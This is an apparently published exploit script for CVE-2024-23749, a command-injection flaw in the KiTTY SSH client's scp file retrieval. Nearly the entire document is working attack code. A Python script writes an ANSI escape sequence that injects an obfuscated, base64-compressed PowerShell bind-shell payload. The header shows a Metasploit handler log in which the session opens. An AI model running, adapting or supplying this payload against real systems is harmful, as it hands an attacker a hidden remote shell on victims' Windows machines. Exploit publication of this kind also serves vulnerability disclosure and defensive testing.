KiTTY versions 0.76.1.13 and below suffer from a command injection vulnerability when getting a remote file through scp. It appears to leverage an ANSI escape sequence issue which is quite an interesting vector of attack.
advisories | CVE-2024-23749
#!/usr/bin/python
#----------------------------------------------------------------------------------------#
# Exploit: KiTTY ≤ 0.76.1.13 Command Injection Vulnerability in KiTTY #
# Get Remote File Through SCP Input (CVE-2024-23749) #
# OS: Microsoft Windows 11/10/8/7/XP #
# Author: DEFCESCO (Austin A. DeFrancesco) #
# Software: #
# https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip #
#----------------------------------------------------------------------------------------#
# More details can be found on my blog: https://blog.DEFCESCO.io/Hell0+KiTTY #
#----------------------------------------------------------------------------------------#
# msf6 payload(cmd/windows/powershell_bind_tcp) > to_handler #
# [*] Payload Handler Started as Job 1 #
# msf6 payload(cmd/windows/powershell_bind_tcp) > #
# [*] Started bind TCP handler against 192.168.100.28:4444 #
# [*] Powershell session session 1 opened (192.168.100.119:36969 -> 192.168.100.28:4444) #
#----------------------------------------------------------------------------------------#
import os
import sys
#-----------------------------------------------------------------#
# msf6 payload(cmd/windows/powershell_bind_tcp) > generate -f raw #
#-----------------------------------------------------------------#
shellcode = b'powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create'
shellcode += b'((New-Object System.IO.StreamReader(New-Object System.IO.Compression.G'
shellcode += b'zipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBa'
shellcode += b'se64String((('H4sIAE7efGUCA5VVTW/b{2}BC{1}+1cMD{2}1GQiTCDXoKkGJdNV0Ey'
shellcode += b'LZGlTYHw0BoahxrQ5NekoptJP7vJSXqw3'+'GCbXWwJc7w8fHNG3JRCmYKKeBvNMktzh'
shellcode += b'kvUBgYPA3APsGG'+'wQV8wU3ydf4vMgPJzW6NX+gK7aAhNj+t8ptk8l3jJ1zQkptUYW4'
shellcode += b'jBeXa'+'QgRGld'+'hmTZTc7siLDDveG2lyB/vBoqG4lhtU{1}suygyo+oYquwvp{1'
shellcode += b'}mhlViPtZkMrVioo8PhzNNGdSvBj8JDeCS5pXo5HHVJKh1u'+'AFWMm85{2}gI/hVGUK'
shellcode += b'cUCwibZSDB/2A4L0Q+jKpgPa+aywttUKCy'+'k6fZzr6viFMtk+wBjSY3bH3tM2bv7XM'
shellcode += b'8kWhDlXHr'+'+pWrqC/RRS{1}vzBiujQWsyxHWVPZv0VX4iErjMeMWulfy15inE7/QcB'
shellcode += b'g76n6{1}Qa2ZNgrpyhGs8Yj1VlaNWWIdpbokNSNnj6GvQI+P1jxrwN6ghKxUhdmRrEkN/f'
shellcode += b'pxsLA+wjh8Cm4s+h4SqmF6M{2}cbrqTBFJUpFgWjBn{1}QXuTUmS2lnM8pe5hF0St0yLg0'
shellcode += b'S+dUN2ms{2}zECUXIeDw3X786GnkEfoFWm21lfuul8Z3A6mwXu35luRMjZyD7PfzyN{'+'
shellcode += b''1}l5dFHkTDqcGt4agYDJ3jj4/H2fp1VXkFP/ocsLhrbWm3GiYu{2}bJlsg5qFIImw'+'
shellcode += b''1Wj1Jbew7hFAIUj+fuS7jmPrVjtjRtgMnVujRd8E6kcr'+'1Txf3SQJhG8E/BlNRyY'
shellcode += b'SCVai1VJSGBsVvMJWlQaLEfMSd34k5443k5yK0tBobdxuJR3H2Qax'+'T3Ztk3Tt{2}2'
shellcode += b'fesc{2}ef3VJqezuDaQjpZfMuTlufvc21mfZbqkrKl5VyDQiHaI6XL6mi7Jzw4iSPS7LY+'
shellcode += b'tBqk6PlKPMoHTC63a6uttnq3KPu+pTbLgmMYBkXlunoT35DmYe2xGEYxBAfsI0gEwuhI0k'
shellcode += b'unH+Y3Vsu3LgXfmC6FVBpfes07FNte1FHpofnzodpd'+'IyoERfSimrYbXTGP{1}g1Jc'
shellcode += b'7'+'jV4Gcf/nwHz/C1NEmNCt48B1BnUAnSAJ/CySSDE/tf6X8tWeXhiEyoWbroBzjpQL'
shellcode += b'a{2}SIBKSTUdzQ4W67Gu4oRxpCqMXmNw0f+wrbYdHBv4l/zbwfyvY/uGPfJrM+czL/Wyve'
shellcode += b'/8weMP85RLjX4/VTs2t1DfMN3VlBm5bu4j/2ud2V7lbe3cFfoTVXnPBo0IAAA{0}')-f'
shellcode += b''=','9','O')))),[System.IO.Compression.CompressionMode]::Decompr'
shellcode += b'ess))).ReadToEnd()))"'
escape_sequence = b' 33]0;__rv:'
escape_sequence += b'" & '
escape_sequence += shellcode
escape_sequence += b' # 07'
stdout = os.fdopen(sys.stdout.fileno(), 'wb')
stdout.write(escape_sequence)
stdout.flush()
